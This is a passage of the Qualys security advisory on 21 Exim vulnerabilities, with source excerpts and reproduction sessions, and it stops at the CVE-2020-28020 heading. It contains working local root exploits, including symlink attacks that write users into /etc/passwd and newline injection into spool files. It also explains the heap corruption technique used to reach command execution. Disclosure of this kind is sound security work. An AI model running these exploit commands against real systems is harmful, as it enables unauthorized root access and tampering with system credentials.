2 Qualys Security Advisory
4 21Nails: Multiple vulnerabilities in Exim
7 ========================================================================
9 ========================================================================
13 - CVE-2020-28007: Link attack in Exim's log directory
14 - CVE-2020-28008: Assorted attacks in Exim's spool directory
15 - CVE-2020-28014: Arbitrary file creation and clobbering
16 - CVE-2021-27216: Arbitrary file deletion
17 - CVE-2020-28011: Heap buffer overflow in queue_run()
18 - CVE-2020-28010: Heap out-of-bounds write in main()
19 - CVE-2020-28013: Heap buffer overflow in parse_fix_phrase()
20 - CVE-2020-28016: Heap out-of-bounds write in parse_fix_phrase()
21 - CVE-2020-28015: New-line injection into spool header file (local)
22 - CVE-2020-28012: Missing close-on-exec flag for privileged pipe
23 - CVE-2020-28009: Integer overflow in get_stdinput()
24 Remote vulnerabilities
25 - CVE-2020-28017: Integer overflow in receive_add_recipient()
26 - CVE-2020-28020: Integer overflow in receive_msg()
27 - CVE-2020-28023: Out-of-bounds read in smtp_setup_msg()
28 - CVE-2020-28021: New-line injection into spool header file (remote)
29 - CVE-2020-28022: Heap out-of-bounds read and write in extract_option()
30 - CVE-2020-28026: Line truncation and injection in spool_read_header()
31 - CVE-2020-28019: Failure to reset function pointer after BDAT error
32 - CVE-2020-28024: Heap buffer underflow in smtp_ungetc()
33 - CVE-2020-28018: Use-after-free in tls-openssl.c
34 - CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()
39 ========================================================================
41 ========================================================================
43 We recently audited central parts of the Exim mail server
44 (https://en.wikipedia.org/wiki/Exim) and discovered 21 vulnerabilities
45 (from CVE-2020-28007 to CVE-2020-28026, plus CVE-2021-27216): 11 local
46 vulnerabilities, and 10 remote vulnerabilities. Unless otherwise noted,
47 all versions of Exim are affected since at least the beginning of its
50 We have not tried to exploit all of these vulnerabilities, but we
51 successfully exploited 4 LPEs (Local Privilege Escalations) and 3 RCEs
52 (Remote Code Executions):
54 - CVE-2020-28007 (LPE, from user "exim" to root);
56 - CVE-2020-28008 (LPE, from user "exim" to root);
58 - CVE-2020-28015 (LPE, from any user to root);
60 - CVE-2020-28012 (LPE, from any user to root, if allow_filter is true);
62 - CVE-2020-28020 (unauthenticated RCE as "exim", in Exim < 4.92);
64 - CVE-2020-28018 (unauthenticated RCE as "exim", in 4.90 <= Exim < 4.94,
65 if TLS encryption is provided by OpenSSL);
67 - CVE-2020-28021 (authenticated RCE, as root);
69 - CVE-2020-28017 is also exploitable (unauthenticated RCE as "exim"),
70 but requires more than 25GB of memory in the default configuration.
72 We will not publish our exploits for now; instead, we encourage other
73 security researchers to write and publish their own exploits:
75 - This advisory contains sufficient information to develop reliable
76 exploits for these vulnerabilities; in fact, we believe that better
77 exploitation methods exist.
79 - We hope that more security researchers will look into Exim's code and
80 report their findings; indeed, we discovered several of these
81 vulnerabilities while working on our exploits.
83 - We will answer (to the best of our abilities) any questions regarding
84 these vulnerabilities and exploits on the public "oss-security" list
85 (https://oss-security.openwall.org/wiki/mailing-lists/oss-security).
87 Last-minute note: as explained in the Timeline, we developed a minimal
88 set of patches for these vulnerabilities; for reference and comparison,
89 it is attached to this advisory and is also available at
90 https://www.qualys.com/research/security-advisories/.
94 ========================================================================
95 CVE-2020-28007: Link attack in Exim's log directory
96 ========================================================================
98 The Exim binary is set-user-ID-root, and Exim operates as root in its
99 log directory, which belongs to the "exim" user:
101 ------------------------------------------------------------------------
102 drwxr-s--- 2 Debian-exim adm 4096 Nov 4 06:16 /var/log/exim4
103 ------------------------------------------------------------------------
105 An attacker who obtained the privileges of the "exim" user (by
106 exploiting CVE-2020-28020 or CVE-2020-28018 for example) can exploit
107 this local vulnerability to obtain full root privileges. Indeed, the
108 following code opens a log file in append mode, as root (lines 465-469):
110 ------------------------------------------------------------------------
111 22 static uschar *log_names[] = { US"main", US"reject", US"panic", US"debug" };
114 383 open_log(int *fd, int type, uschar *tag)
117 387 uschar buffer[LOG_NAME_SIZE];
119 398 ok = string_format(buffer, sizeof(buffer), CS file_path, log_names[type]);
121 465 *fd = Uopen(buffer,
125 469 O_APPEND|O_WRONLY, LOG_MODE);
126 ------------------------------------------------------------------------
128 The name of the log file in buffer is derived from file_path, which is
129 derived from log_file_path, a format string defined at compile time (or
130 re-defined by the configuration file). On Debian, log_file_path is
131 "/var/log/exim4/%slog", and "%s" is converted to "main", "reject",
132 "panic", or "debug" at run time (line 398).
134 An attacker with the privileges of the "exim" user can create a symlink
135 (or a hardlink) in the log directory, append arbitrary contents to an
136 arbitrary file (to /etc/passwd, for example), and obtain full root
139 ------------------------------------------------------------------------
141 uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
144 ln -s -f /etc/passwd paniclog
146 /usr/sbin/exim4 -Rr $'X\n_trinity:SCB2INhNOLCrc:0:0::/:\nX['
148 grep -1 _trinity /etc/passwd
149 2021-03-09 09:45:05 regular expression error: missing terminating ] for character class at offset 35 while compiling X
150 _trinity:SCB2INhNOLCrc:0:0::/:
157 uid=0(root) gid=0(root) groups=0(root)
158 ------------------------------------------------------------------------
162 ========================================================================
163 CVE-2020-28008: Assorted attacks in Exim's spool directory
164 ========================================================================
166 Exim also operates as root in its spool directory, which belongs to the
169 ------------------------------------------------------------------------
170 drwxr-x--- 5 Debian-exim Debian-exim 4096 Nov 4 06:16 /var/spool/exim4
171 drwxr-x--- 2 Debian-exim Debian-exim 4096 Nov 4 06:16 /var/spool/exim4/db
172 drwxr-x--- 2 Debian-exim Debian-exim 4096 Nov 4 06:16 /var/spool/exim4/input
173 drwxr-x--- 2 Debian-exim Debian-exim 4096 Nov 4 06:16 /var/spool/exim4/msglog
174 ------------------------------------------------------------------------
176 An attacker who obtained the privileges of the "exim" user can exploit
177 this local vulnerability to obtain full root privileges. Various attack
180 - The attacker can directly write to a spool header file (in the "input"
181 subdirectory) and reuse our exploitation technique for CVE-2020-28015.
183 - The attacker can create a long-named file in the "db" subdirectory and
184 overflow a stack-based buffer (at line 208):
186 ------------------------------------------------------------------------
188 88 dbfn_open(uschar *name, int flags, open_db *dbblock, BOOL lof)
191 94 uschar dirname[256], filename[256];
193 111 snprintf(CS dirname, sizeof(dirname), "%s/db", spool_directory);
194 112 snprintf(CS filename, sizeof(filename), "%s/%s.lockfile", dirname, name);
196 198 uschar *lastname = Ustrrchr(filename, '/') + 1;
197 199 int namelen = Ustrlen(name);
200 202 dd = opendir(CS filename);
202 204 while ((ent = readdir(dd)))
203 205 if (Ustrncmp(ent->d_name, name, namelen) == 0)
205 207 struct stat statbuf;
206 208 Ustrcpy(lastname, ent->d_name);
207 ------------------------------------------------------------------------
211 ------------------------------------------------------------------------
213 uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
215 cd /var/spool/exim4/db
217 touch retry`perl -e 'print "A" x (255-5)'`
219 /usr/sbin/exim4 -odf -oep postmaster < /dev/null
220 *** stack smashing detected ***: <unknown> terminated
221 2020-11-04 15:34:02 1kaPTm-0000gu-I0 process 2661 crashed with signal 6 while delivering 1kaPTm-0000gu-I0
222 ------------------------------------------------------------------------
224 - The attacker can create a symlink (or a hardlink) in the "db"
225 subdirectory and take ownership of an arbitrary file (at line 212):
227 ------------------------------------------------------------------------
228 204 while ((ent = readdir(dd)))
229 205 if (Ustrncmp(ent->d_name, name, namelen) == 0)
231 207 struct stat statbuf;
232 208 Ustrcpy(lastname, ent->d_name);
233 209 if (Ustat(filename, &statbuf) >= 0 && statbuf.st_uid != exim_uid)
235 211 DEBUG(D_hints_lookup) debug_printf_indent("ensuring %s is owned by exim\n", filename);
236 212 if (Uchown(filename, exim_uid, exim_gid))
237 ------------------------------------------------------------------------
241 ------------------------------------------------------------------------
243 uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
245 cd /var/spool/exim4/db
247 ln -s -f /etc/passwd retry.passwd
249 /usr/sbin/exim4 -odf -oep postmaster < /dev/null
252 -rw-r--r-- 1 Debian-exim Debian-exim 1580 Nov 4 21:55 /etc/passwd
254 echo '_francoise:$1$dAuS1HDV$mT0noBeBopmZgLYD5ZiZb1:0:0::/:' >> /etc/passwd
257 Password: RadicalEdward
260 uid=0(root) gid=0(root) groups=0(root)
261 ------------------------------------------------------------------------
263 Side note: CVE-2020-28007 and CVE-2020-28008 are very similar to
264 https://www.halfdog.net/Security/2016/DebianEximSpoolLocalRoot/.
268 ========================================================================
269 CVE-2020-28014: Arbitrary file creation and clobbering
270 ========================================================================
272 An attacker who obtained the privileges of the "exim" user can abuse the
273 -oP override_pid_file_path option to create (or overwrite) an arbitrary
274 file, as root. The attacker does not, however, control the contents of
277 ------------------------------------------------------------------------
279 uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
281 /usr/sbin/exim4 -bdf -oX 0 -oP /etc/ld.so.preload &
287 [1]+ Killed /usr/sbin/exim4 -bdf -oX 0 -oP /etc/ld.so.preload
289 ls -l /etc/ld.so.preload
290 ERROR: ld.so: object '3371' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
291 -rw-r--r-- 1 root Debian-exim 5 Nov 4 20:20 /etc/ld.so.preload
292 ------------------------------------------------------------------------
294 The attacker can also combine this vulnerability with CVE-2020-28007 or
295 CVE-2020-28008 to create an arbitrary file with arbitrary contents and
296 obtain full root privileges.
300 ========================================================================
301 CVE-2021-27216: Arbitrary file deletion
302 ========================================================================
304 While working on a patch for CVE-2020-28014, we discovered another
305 related vulnerability: any local user can delete any arbitrary file as
306 root (for example, /etc/passwd), by abusing the -oP and -oPX options in
309 ------------------------------------------------------------------------
311 933 delete_pid_file(void)
313 935 uschar * daemon_pid = string_sprintf("%d\n", (int)getppid());
315 939 if ((f = Ufopen(pid_file_path, "rb")))
317 941 if ( fgets(CS big_buffer, big_buffer_size, f)
318 942 && Ustrcmp(daemon_pid, big_buffer) == 0
320 944 if (Uunlink(pid_file_path) == 0)
321 ------------------------------------------------------------------------
323 To exploit this vulnerability, a local attacker must win an easy race
324 condition between the fopen() at line 939 and the unlink() at line 944;
325 this is left as an exercise for the interested reader.
327 ------------------------------------------------------------------------
329 ------------------------------------------------------------------------
331 This vulnerability was introduced in Exim 4.94:
333 ------------------------------------------------------------------------
334 commit 01446a56c76aa5ac3213a86f8992a2371a8301f3
335 Date: Sat Nov 9 16:04:14 2019 +0000
337 Remove the daemon pid file when exit is due to SIGTERM. Bug 340
338 ------------------------------------------------------------------------
342 ========================================================================
343 CVE-2020-28011: Heap buffer overflow in queue_run()
344 ========================================================================
346 Through the -R deliver_selectstring and -S deliver_selectstring_sender
347 options, the "exim" user can overflow the heap-based big_buffer in
348 queue_run() (lines 419 and 423):
350 ------------------------------------------------------------------------
353 418 if (deliver_selectstring)
354 419 p += sprintf(CS p, " -R%s %s", f.deliver_selectstring_regex? "r" : "",
355 420 deliver_selectstring);
357 422 if (deliver_selectstring_sender)
358 423 p += sprintf(CS p, " -S%s %s", f.deliver_selectstring_sender_regex? "r" : "",
359 424 deliver_selectstring_sender);
360 ------------------------------------------------------------------------
362 We have not tried to exploit this vulnerability; if exploitable, it
363 would allow an attacker who obtained the privileges of the "exim" user
364 to obtain full root privileges.
366 ------------------------------------------------------------------------
368 ------------------------------------------------------------------------
371 uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
373 /usr/sbin/exim4 -R `perl -e 'print "A" x 128000'`
374 malloc(): invalid size (unsorted)
377 /usr/sbin/exim4 -S `perl -e 'print "A" x 128000'`
378 malloc(): invalid size (unsorted)
383 ========================================================================
384 CVE-2020-28010: Heap out-of-bounds write in main()
385 ========================================================================
387 For debugging and logging purposes, Exim copies the current working
388 directory (initial_cwd) into the heap-based big_buffer:
390 ------------------------------------------------------------------------
391 3665 initial_cwd = os_getcwd(NULL, 0);
393 3945 uschar *p = big_buffer;
394 3946 Ustrcpy(p, "cwd= (failed)");
396 3952 Ustrncpy(p + 4, initial_cwd, big_buffer_size-5);
397 3953 p += 4 + Ustrlen(initial_cwd);
400 ------------------------------------------------------------------------
402 The strncpy() at line 3952 cannot overflow big_buffer, but (on Linux at
403 least) initial_cwd can be much longer than big_buffer_size (16KB): line
404 3953 can increase p past big_buffer's end, and line 3956 (and beyond)
405 can write out of big_buffer's bounds.
407 We have not tried to exploit this vulnerability; if exploitable, it
408 would allow an unprivileged local attacker to obtain full root
411 ------------------------------------------------------------------------
413 ------------------------------------------------------------------------
416 uid=1001(jane) gid=1001(jane) groups=1001(jane)
420 for (my $i = 0; $i < 4096; $i++) {
421 mkdir "$a", 0700 or die;
423 exec "/usr/sbin/exim4", "-d+all" or die;'
425 23:50:39 5588 changed uid/gid: forcing real = effective
426 23:50:39 5588 uid=0 gid=1001 pid=5588
430 ------------------------------------------------------------------------
432 ------------------------------------------------------------------------
434 This vulnerability was introduced in Exim 4.92:
436 ------------------------------------------------------------------------
437 commit 805fd869d551c36d1d77ab2b292a7008d643ca79
438 Date: Sat May 19 12:09:55 2018 -0400
440 Ustrncpy(p + 4, initial_cwd, big_buffer_size-5);
441 + p += 4 + Ustrlen(initial_cwd);
442 + /* in case p is near the end and we don't provide enough space for
443 + * string_format to be willing to write. */
447 ------------------------------------------------------------------------
451 ========================================================================
452 CVE-2020-28013: Heap buffer overflow in parse_fix_phrase()
453 ========================================================================
455 If a local attacker executes Exim with a -F '.(' option (for example),
456 then parse_fix_phrase() calls strncpy() with a -1 size (which overflows
457 the destination buffer, because strncpy(dest, src, n) "writes additional
458 null bytes to dest to ensure that a total of n bytes are written").
460 Indeed, at line 1124 s and ss are both equal to end, at line 1125 ss is
461 decremented, and at line 1127 ss-s is equal to -1:
463 ------------------------------------------------------------------------
465 1125 if (ss >= end) ss--;
467 1127 Ustrncpy(t, s, ss-s);
468 ------------------------------------------------------------------------
470 We have not tried to exploit this vulnerability; if exploitable, it
471 would allow an unprivileged local attacker to obtain full root
474 ------------------------------------------------------------------------
476 ------------------------------------------------------------------------
479 uid=1001(jane) gid=1001(jane) groups=1001(jane)
481 /usr/sbin/exim4 -bt -F '.('
486 ========================================================================
487 CVE-2020-28016: Heap out-of-bounds write in parse_fix_phrase()
488 ========================================================================
490 If a local attacker executes Exim with an empty originator_name (-F ''),
491 then parse_fix_phrase() allocates a zero-sized buffer (at line 982), but
492 writes a null byte to buffer[1] (lines 986 and 1149):
494 ------------------------------------------------------------------------
495 4772 originator_name = parse_fix_phrase(originator_name, Ustrlen(originator_name));
496 ------------------------------------------------------------------------
498 961 parse_fix_phrase(const uschar *phrase, int len)
501 982 buffer = store_get(len*4, is_tainted(phrase));
505 986 yield = t = buffer + 1;
513 ------------------------------------------------------------------------
515 We have not tried to exploit this vulnerability; if exploitable, it
516 would allow an unprivileged local attacker to obtain full root
519 ------------------------------------------------------------------------
521 ------------------------------------------------------------------------
523 This vulnerability was introduced by:
525 ------------------------------------------------------------------------
526 commit 3c90bbcdc7cf73298156f7bcd5f5e750e7814e72
527 Date: Thu Jul 9 15:30:55 2020 +0100
529 +JH/18 Bug 2617: Fix a taint trap in parse_fix_phrase(). Previously when the
530 + name being quoted was tainted a trap would be taken. Fix by using
531 + dynamicaly created buffers. The routine could have been called by a
532 + rewrite with the "h" flag, by using the "-F" command-line option, or
533 + by using a "name=" option on a control=submission ACL modifier.
534 ------------------------------------------------------------------------
538 ========================================================================
539 CVE-2020-28015: New-line injection into spool header file (local)
540 ========================================================================
542 When Exim receives a mail, it creates two files in the "input"
543 subdirectory of its spool directory: a "data" file, which contains the
544 body of the mail, and a "header" file, which contains the headers of the
545 mail and important metadata (the sender and the recipient addresses, for
546 example). Such a header file consists of lines of text separated by '\n'
549 Unfortunately, an unprivileged local attacker can send a mail to a
550 recipient whose address contains '\n' characters, and can therefore
551 inject new lines into the spool header file and change Exim's behavior:
553 ------------------------------------------------------------------------
555 uid=1001(jane) gid=1001(jane) groups=1001(jane)
557 /usr/sbin/exim4 -odf -oep $'"Lisbeth\nSalander"' < /dev/null
559 2020-11-05 09:11:46 1kafzO-0001ho-Tf Format error in spool file 1kafzO-0001ho-Tf-H: size=607
560 ------------------------------------------------------------------------
562 The effect of this vulnerability is similar to CVE-2020-8794 in
563 OpenSMTPD, but in Exim's case it is not enough to execute arbitrary
564 commands. To understand how we transformed this vulnerability into an
565 arbitrary command execution, we must digress briefly.
567 ------------------------------------------------------------------------
569 ------------------------------------------------------------------------
571 Most of the vulnerabilities in this advisory are memory corruptions, and
572 despite modern protections such as ASLR, NX, and malloc hardening,
573 memory corruptions in Exim are easy to exploit:
575 1/ Exim's memory allocator (store.c, which calls malloc() and free()
576 internally) unintentionally provides attackers with powerful exploit
577 primitives. In particular, if an attacker can pass a negative size to
578 the allocator (through an integer overflow or direct control), then:
580 ------------------------------------------------------------------------
581 119 static void *next_yield[NPOOLS];
582 120 static int yield_length[NPOOLS] = { -1, -1, -1, -1, -1, -1 };
585 232 store_get_3(int size, BOOL tainted, const char *func, int linenumber)
588 248 if (size > yield_length[pool])
593 299 store_last_get[pool] = next_yield[pool];
595 316 next_yield[pool] = (void *)(CS next_yield[pool] + size);
596 317 yield_length[pool] -= size;
597 318 return store_last_get[pool];
599 ------------------------------------------------------------------------
601 1a/ At line 248, store_get() believes that the current block of memory
602 is large enough (because size is negative), and goes to line 299. As a
603 result, store_get()'s caller can overflow the current block of memory (a
606 1b/ At line 317, the free size of the current block of memory
607 (yield_length) is mistakenly increased (because size is negative), and
608 at line 316, the next pointer returned by store_get() (next_yield) is
609 mistakenly decreased (because size is negative). As a result, the next
610 memory allocation can overwrite the beginning of Exim's heap: a relative
611 write-what-where, which naturally bypasses ASLR (a "backward-jump", or
614 2/ The beginning of the heap contains Exim's configuration, which
615 includes various strings that are passed to expand_string() at run time.
616 Consequently, an attacker who can "back-jump" can overwrite these
617 strings with "${run{...}}" and execute arbitrary commands (thus
620 The first recorded use of expand_string() in an Exim exploit is
621 CVE-2010-4344 (and CVE-2010-4345), an important part of Internet
624 https://www.openwall.com/lists/oss-security/2010/12/10/1
626 Note: Exim 4.94 (the latest version) introduces "tainted" memory (i.e.,
627 untrusted, possibly attacker-controlled data) and refuses to process it
628 in expand_string(). This mechanism protects Exim against unintentional
629 expansion of tainted data (CVE-2014-2957 and CVE-2019-10149), but NOT
630 against memory corruption: an attacker can simply overwrite untainted
631 memory with tainted data, and still execute arbitrary commands in
632 expand_string(). For example, we exploited CVE-2020-28015,
633 CVE-2020-28012, and CVE-2020-28021 in Exim 4.94.
635 ------------------------------------------------------------------------
637 ------------------------------------------------------------------------
639 CVE-2020-28015 allows us to inject new lines into a spool header file.
640 To transform this vulnerability into an arbitrary command execution (as
641 root, since deliver_drop_privilege is false by default), we exploit the
642 following code in spool_read_header():
644 ------------------------------------------------------------------------
647 910 while ((n = fgetc(fp)) != EOF)
652 916 if (!isdigit(n)) goto SPOOL_FORMAT_ERROR;
653 917 if(ungetc(n, fp) == EOF || fscanf(fp, "%d%c ", &n, flag) == EOF)
654 918 goto SPOOL_READ_ERROR;
656 927 h->text = store_get(n+1, TRUE); /* tainted */
658 935 for (i = 0; i < n; i++)
660 937 int c = fgetc(fp);
665 ------------------------------------------------------------------------
667 - at line 917, we start a fake header with a negative length n;
669 - at line 927, we back-jump to the beginning of the heap (Digression
670 1b), because n is negative;
672 - at line 935, we avoid the forward-overflow (Digression 1a), because n
675 - then, our next fake header is allocated to the beginning of the heap
676 and overwrites Exim's configuration strings (with "${run{command}}");
678 - last, our arbitrary command is executed when deliver_message()
679 processes our fake (injected) recipient and expands the overwritten
680 configuration strings (Digression 2).
682 We can also transform CVE-2020-28015 into an information disclosure, by
683 exploiting the following code in spool_read_header():
685 ------------------------------------------------------------------------
686 756 for (recipients_count = 0; recipients_count < rcount; recipients_count++)
689 765 if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
690 766 nn = Ustrlen(big_buffer);
691 767 if (nn < 2) goto SPOOL_FORMAT_ERROR;
693 772 p = big_buffer + nn - 1;
696 809 while (isdigit(*p)) p--;
698 840 else if (*p == '#')
702 848 (void)sscanf(CS p+1, "%d", &flags);
704 850 if ((flags & 0x01) != 0) /* one_time data exists */
707 853 while (isdigit(*(--p)) || *p == ',' || *p == '-');
708 854 (void)sscanf(CS p+1, "%d,%d", &len, &pno);
713 859 errors_to = string_copy_taint(p, TRUE);
717 863 *(--p) = 0; /* Terminate address */
718 ------------------------------------------------------------------------
720 For example, if we send a mail to the recipient
721 '"X@localhost\njane@localhost 8192,-1#1\n\n1024* "' (where jane is our
722 username, and localhost is one of Exim's local_domains), then:
724 - at line 848, we set flags to 1;
726 - at line 854, we set len to 8KB;
728 - at line 858, we decrease p (by 8KB) toward the beginning of the heap;
730 - at line 859, we read the errors_to string out of big_buffer's bounds;
732 - finally, we receive our mail, which includes the out-of-bounds
733 errors_to string in its "From" and "Return-path:" headers (in this
734 example, errors_to contains a fragment of /etc/passwd):
736 ------------------------------------------------------------------------
738 uid=1001(jane) gid=1001(jane) groups=1001(jane)
741 printf 'Message-Id: X\n';
742 printf 'From: X@localhost\n';
744 printf 'X:%01024d2* X\n' 0;
745 ) | /usr/sbin/exim4 -odf -oep $'"X@localhost\njane@localhost 8192,-1#1\n\n1024* "' jane
752 Debian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin
753 jane:x:1001:1001:,,,:/home/jane:/bin/bash
754 Thu Nov 05 10:49:07 2020
759 systemd-timesync:x:102:
760 systemd-network:x:103:
763 ------------------------------------------------------------------------
767 ========================================================================
768 CVE-2020-28012: Missing close-on-exec flag for privileged pipe
769 ========================================================================
771 Exim supports a special kind of .forward file called "exim filter" (if
772 allow_filter is true, the default on Debian). To handle such a filter,
773 the privileged Exim process creates an unprivileged process and a pipe
774 for communication. The filter process can fork() and execute arbitrary
775 commands with expand_string(); this is not a security issue in itself,
776 because the filter process is unprivileged. Unfortunately, the writable
777 end of the communication pipe is not closed-on-exec and an unprivileged
778 local attacker can therefore send arbitrary data to the privileged Exim
779 process (which is running as root).
781 ------------------------------------------------------------------------
783 ------------------------------------------------------------------------
785 We exploit this vulnerability through the following code in
786 rda_interpret(), which reads our arbitrary data in the privileged Exim
789 ------------------------------------------------------------------------
790 791 fd = pfd[pipe_read];
791 792 if (read(fd, filtertype, sizeof(int)) != sizeof(int) ||
792 793 read(fd, &yield, sizeof(int)) != sizeof(int) ||
793 794 !rda_read_string(fd, error)) goto DISASTER;
795 804 if (!rda_read_string(fd, &s)) goto DISASTER;
797 956 *error = string_sprintf("internal problem in %s: failure to transfer "
798 957 "data from subprocess: status=%04x%s%s%s", rname,
799 958 status, readerror,
800 959 (*error == NULL)? US"" : US": error=",
801 960 (*error == NULL)? US"" : *error);
802 961 log_write(0, LOG_MAIN|LOG_PANIC, "%s", *error);
803 ------------------------------------------------------------------------
807 ------------------------------------------------------------------------
809 468 rda_read_string(int fd, uschar **sp)
813 472 if (read(fd, &len, sizeof(int)) != sizeof(int)) return FALSE;
815 479 if (read(fd, *sp = store_get(len, FALSE), len) != len) return FALSE;
818 ------------------------------------------------------------------------
820 - at line 794, we allocate an arbitrary string (of arbitrary length),
823 - at line 804 (and line 479), we back-jump to the beginning of the heap
824 (Digression 1b) and avoid the forward-overflow (Digression 1a) because
827 - at line 956, we overwrite the beginning of the heap with a string that
828 we control (error); we tried to overwrite Exim's configuration strings
829 (Digression 2) but failed to execute arbitrary commands; instead, we
830 overwrite file_path, a copy of log_file_path (mentioned in
833 - at line 961, we append an arbitrary string that we control (error) to
834 a file whose name we control (file_path): we add an arbitrary user to
835 /etc/passwd and obtain full root privileges.
837 This first version of our exploit succeeds on Debian oldstable's
838 exim4_4.89-2+deb9u7 (it fails on Debian stable's exim4_4.92-8+deb10u4
839 because of a gstring_reset_unused() in string_sprintf(); we have not
840 tried to work around this problem), but it fails on Debian testing's
841 exim4_4.94-8: the pool of memory that we back-jump at line 804 is
842 untainted, but the string at line 956 is tainted and written to a
843 different pool of memory (because our primary recipient, and hence
846 To work around this problem, our "exim filter" generates a secondary
847 recipient that is naturally untainted (line 479). When this secondary
848 recipient is processed, the string at line 956 is untainted and thus
849 overwrites the beginning of the heap (because it is allocated in the
850 untainted pool of memory that we back-jumped at line 804): this second
851 version of our exploit also succeeds on Debian testing.
853 Finally, we use one noteworthy trick in our exploit: in theory, the
854 string that overwrites file_path at line 956 cannot be longer than 256
855 bytes (LOG_NAME_SIZE); this significantly slows our brute-force of the
856 correct back-jump distance. In practice, we can overwrite file_path with
857 a much longer string (up to 8KB, LOG_BUFFER_SIZE) because file_path is a
858 format string, and "%0Lu" (or "%.0D") is a NOP in Exim's string_format()
859 function: it consumes no argument and produces no output, thus avoiding
860 the overflow of buffer[LOG_NAME_SIZE] in open_log().
864 ========================================================================
865 CVE-2020-28009: Integer overflow in get_stdinput()
866 ========================================================================
868 The following loop reads lines from stdin as long as the last character
869 of the lines is '\\' (line 1273). Each line that is read is appended to
870 a "growable string", the gstring g (at line 1266):
872 ------------------------------------------------------------------------
873 1229 gstring * g = NULL;
875 1233 for (i = 0;; i++)
877 1235 uschar buffer[1024];
879 1252 if (Ufgets(buffer, sizeof(buffer), stdin) == NULL) break;
882 1258 ss = p + (int)Ustrlen(p);
884 1266 g = string_catn(g, p, ss - p);
886 1273 if (ss == p || g->s[g->ptr-1] != '\\')
888 ------------------------------------------------------------------------
890 Eventually, the integer g->size of the growable string overflows, and
891 becomes negative (in gstring_grow(), which is called by string_catn()).
892 Consequently, in store_newblock() (which is called by gstring_grow()),
895 ------------------------------------------------------------------------
897 507 store_newblock_3(void * block, int newsize, int len,
898 508 const char * filename, int linenumber)
900 510 BOOL release_ok = store_last_get[store_pool] == block;
901 511 uschar * newtext = store_get(newsize);
903 513 memcpy(newtext, block, len);
904 514 if (release_ok) store_release_3(block, filename, linenumber);
905 515 return (void *)newtext;
907 ------------------------------------------------------------------------
909 - the store_get() at line 511 back-jumps the current block of memory
912 - the memcpy() at line 513 forward-overflows the current block of memory
915 If exploitable, this vulnerability would allow an unprivileged local
916 attacker to obtain full root privileges. We have not tried to exploit
917 this vulnerability, because it took more than 5 days to overflow the
918 integer g->size. Indeed, the loop in get_stdinput() has an O(n^2) time
919 complexity: for each line that is read, store_newblock() allocates a new
920 block of memory (at line 511) and recopies the entire contents of the
921 growable string (at line 513).
923 ------------------------------------------------------------------------
925 ------------------------------------------------------------------------
928 uid=1001(jane) gid=1001(jane) groups=1001(jane)
931 for ((i=0; i<4096; i++)); do
932 echo "`date` $i" >&2;
933 perl -e 'print "\\" x 1048576';
935 ) | /usr/sbin/exim4 -bt | wc
937 Program received signal SIGSEGV, Segmentation fault.
941 ========================================================================
942 CVE-2020-28017: Integer overflow in receive_add_recipient()
943 ========================================================================
945 By default, Exim does not limit the number of recipients (the number of
946 valid RCPT TO commands) for a mail. But after 52428800 (50M) recipients,
947 the multiplication at line 492 overflows, and the size that is passed to
948 store_get() becomes negative (2*50M * 40B = -96MB):
950 ------------------------------------------------------------------------
952 485 receive_add_recipient(uschar *recipient, int pno)
954 487 if (recipients_count >= recipients_list_max)
956 489 recipient_item *oldlist = recipients_list;
957 490 int oldmax = recipients_list_max;
958 491 recipients_list_max = recipients_list_max ? 2*recipients_list_max : 50;
959 492 recipients_list = store_get(recipients_list_max * sizeof(recipient_item));
960 493 if (oldlist != NULL)
961 494 memcpy(recipients_list, oldlist, oldmax * sizeof(recipient_item));
963 ------------------------------------------------------------------------
965 - at line 492, store_get() back-jumps the current block of memory
966 (Digression 1b), by -96MB;
968 - at line 494, memcpy() forward-overflows the current block of memory
969 (Digression 1a), by nearly 2GB (50M * 40B = 2000MB).
971 Initially, we thought that CVE-2020-28017 would be the perfect
974 - it affects all versions of Exim (since at least the beginning of its
975 Git history in 2004);
977 - it is certainly exploitable (an unauthenticated RCE as the "exim"
978 user): the forward-overflow can be absorbed to avoid a crash, and the
979 back-jump can be directed onto Exim's configuration (Digression 2);
981 - a back-of-the-envelope calculation suggested that an exploit would
982 require "only" 6GB of memory: 2*2GB for all the recipients_lists, and
983 2GB of recipient addresses to absorb the forward-overflow.
985 Eventually, however, we abandoned the exploitation of CVE-2020-28017:
987 - On Exim 4.89 (Debian oldstable), the ACLs (Access Control Lists) for
988 the RCPT TO command consume approximately 512 bytes per recipient: an
989 exploit would require more than 50M * 512B = 25GB of memory. Instead,
990 we decided to exploit another vulnerability, CVE-2020-28020, which
991 requires only 3GB of memory.
993 - On Exim 4.92 (Debian stable), the ACLs for RCPT TO consume at least
994 4KB per recipient. Indeed, this version's string_sprintf() allocates a
995 whole new 32KB memory block, but uses only one page (4KB): an exploit
996 would require more than 50M * 4KB = 200GB of memory.
998 - On Exim 4.94 (Debian testing), the problem with string_sprintf() was
999 solved, and an exploit would therefore require "only" 25GB of memory.
1000 However, the "tainted" checks create another problem: each RCPT TO
1001 allocates T blocks of tainted memory, and makes U is_tainted() checks
1002 on untainted memory, but each check traverses the complete linked list
1003 of tainted memory blocks. For n recipients, this has an O(n^2) time
1004 complexity (roughly U*T*(n^2)/2): it would take months to reach 50M
1007 CVE-2020-28017 is also exploitable locally (through -bS and
1008 smtp_setup_batch_msg(), which does not have ACLs), and would allow an
1009 unprivileged local attacker to obtain the privileges of the "exim" user.
1010 But better vulnerabilities exist: CVE-2020-28015 and CVE-2020-28012 are
1011 locally exploitable and yield full root privileges.
1013 ------------------------------------------------------------------------
1015 ------------------------------------------------------------------------
1018 uid=1001(jane) gid=1001(jane) groups=1001(jane)
1024 echo 'MAIL FROM:<>';
1026 for ((i=0; i<64000000; i++)); do
1027 [ "$((i%1000000))" -eq 0 ] && echo "`date` $i" >&2;
1028 echo 'RCPT TO:lp@localhost';
1030 ) | /usr/sbin/exim4 -bS | wc
1032 Program received signal SIGSEGV, Segmentation fault.
1036 ========================================================================
1037 CVE-2020-28020: Integer overflow in receive_msg()
1038 ========================================================================
